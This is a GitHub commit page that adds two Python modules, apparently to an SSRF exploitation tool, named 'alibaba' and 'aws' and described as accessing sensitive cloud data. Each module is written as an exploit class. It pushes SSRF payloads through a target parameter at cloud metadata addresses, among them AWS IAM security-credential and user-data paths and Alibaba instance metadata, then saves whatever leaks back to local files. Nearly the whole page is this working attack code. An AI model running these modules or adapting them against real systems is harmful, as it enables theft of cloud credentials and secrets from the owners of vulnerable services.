Skip to content

Commit e30e45b

Browse files
authored
Add files via upload
1 parent 04111bd commit e30e45b

2 files changed

Lines changed: 119 additions & 0 deletions

File tree

modules/alibaba.py

Lines changed: 52 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,52 @@
1+
from utils.utils import *
2+
import logging
3+
import os
4+
5+
name = "alibaba"
6+
description = "Access sensitive data from the Alibaba Cloud"
7+
author = "errorfiathck"
8+
documentation = [""]
9+
10+
class exploit():
11+
endpoints = set()
12+
13+
def __init__(self, requester, args):
14+
logging.info(f"Module '{name}' launched !")
15+
self.add_endpoints()
16+
17+
r = requester.do_request(args.param, "")
18+
if r != None:
19+
default = r.text
20+
21+
# Create directory to store files
22+
directory = requester.host
23+
# Replace : with _ for window folder name safe
24+
# https://www.ibm.com/docs/en/spectrum-archive-sde/2.4.1.0?topic=tips-file-name-characters
25+
directory = directory.replace(':','_')
26+
if not os.path.exists(directory):
27+
os.makedirs(directory)
28+
29+
for endpoint in self.endpoints:
30+
payload = wrapper_http(endpoint[1], endpoint[0] , "80")
31+
r = requester.do_request(args.param, payload)
32+
diff = diff_text(r.text, default)
33+
if diff != "":
34+
35+
# Display diff between default and ssrf request
36+
logging.info(f"\033[32mReading file\033[0m : {payload}")
37+
print(diff)
38+
39+
# Write diff to a file
40+
filename = endpoint[1].split('/')[-1]
41+
if filename == "":
42+
filename = endpoint[1].split('/')[-2:-1][0]
43+
44+
logging.info(f"\033[32mWriting file\033[0m : {payload} to {directory + '/' + filename}")
45+
with open(directory + "/" + filename, 'w') as f:
46+
f.write(diff)
47+
48+
49+
def add_endpoints(self):
50+
self.endpoints.add( ("100.100.100.200","latest/meta-data/instance-id") )
51+
self.endpoints.add( ("100.100.100.200","latest/meta-data/image-id") )
52+
self.endpoints.add( ("100.100.100.200","latest/meta-data/") )

modules/aws.py

Lines changed: 67 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,67 @@
1+
from utils.utils import *
2+
import logging
3+
import os
4+
5+
name = "aws"
6+
description = "Access sensitive data from AWS"
7+
author = "errorfiathck"
8+
documentation = [
9+
"https://hackerone.com/reports/53088",
10+
"https://hackerone.com/reports/285380",
11+
"https://blog.christophetd.fr/abusing-aws-metadata-service-using-ssrf-vulnerabilities/",
12+
"https://twitter.com/spengietz/status/1161317376060563456"
13+
]
14+
15+
class exploit():
16+
endpoints = set()
17+
18+
def __init__(self, requester, args):
19+
logging.info(f"Module '{name}' launched !")
20+
self.add_endpoints()
21+
22+
r = requester.do_request(args.param, "")
23+
if r != None:
24+
default = r.text
25+
26+
# Create directory to store files
27+
directory = requester.host
28+
# Replace : with _ for window folder name safe
29+
# https://www.ibm.com/docs/en/spectrum-archive-sde/2.4.1.0?topic=tips-file-name-characters
30+
directory = directory.replace(':','_')
31+
if not os.path.exists(directory):
32+
os.makedirs(directory)
33+
34+
for endpoint in self.endpoints:
35+
payload = wrapper_http(endpoint[1], endpoint[0] , endpoint[2])
36+
r = requester.do_request(args.param, payload)
37+
diff = diff_text(r.text, default)
38+
if diff != "":
39+
40+
# Display diff between default and ssrf request
41+
logging.info(f"\033[32mReading file\033[0m : {payload}")
42+
print(diff)
43+
44+
# Write diff to a file
45+
filename = endpoint[1].split('/')[-1]
46+
if filename == "":
47+
filename = endpoint[1].split('/')[-2:-1][0]
48+
49+
logging.info(f"\033[32mWriting file\033[0m : {payload} to {directory + '/' + filename}")
50+
with open(directory + "/" + filename, 'w') as f:
51+
f.write(diff)
52+
53+
54+
def add_endpoints(self):
55+
self.endpoints.add( ("169.254.169.254","latest/user-data", "80") )
56+
self.endpoints.add( ("169.254.169.254","latest/meta-data/ami-id", "80") )
57+
self.endpoints.add( ("169.254.169.254","latest/meta-data/reservation-id", "80") )
58+
self.endpoints.add( ("169.254.169.254","latest/meta-data/hostname", "80") )
59+
self.endpoints.add( ("169.254.169.254","latest/meta-data/public-keys/0/openssh-key", "80") )
60+
self.endpoints.add( ("169.254.169.254","latest/meta-data/public-keys/1/openssh-key", "80") )
61+
self.endpoints.add( ("169.254.169.254","latest/meta-data/public-keys/2/openssh-key", "80") )
62+
self.endpoints.add( ("169.254.169.254","latest/meta-data/iam/security-credentials/dummy", "80") )
63+
self.endpoints.add( ("169.254.169.254","latest/meta-data/iam/security-credentials/ecsInstanceRole", "80") )
64+
self.endpoints.add( ("169.254.169.254","latest/meta-data/iam/security-credentials/", "80") )
65+
self.endpoints.add( ("169.254.169.254","latest/meta-data/public-keys/", "80") )
66+
self.endpoints.add( ("169.254.169.254","latest/user-data/", "80") )
67+
self.endpoints.add( ("localhost","2018-06-01/runtime/invocation/next", "9001") )

0 commit comments

Comments
 (0)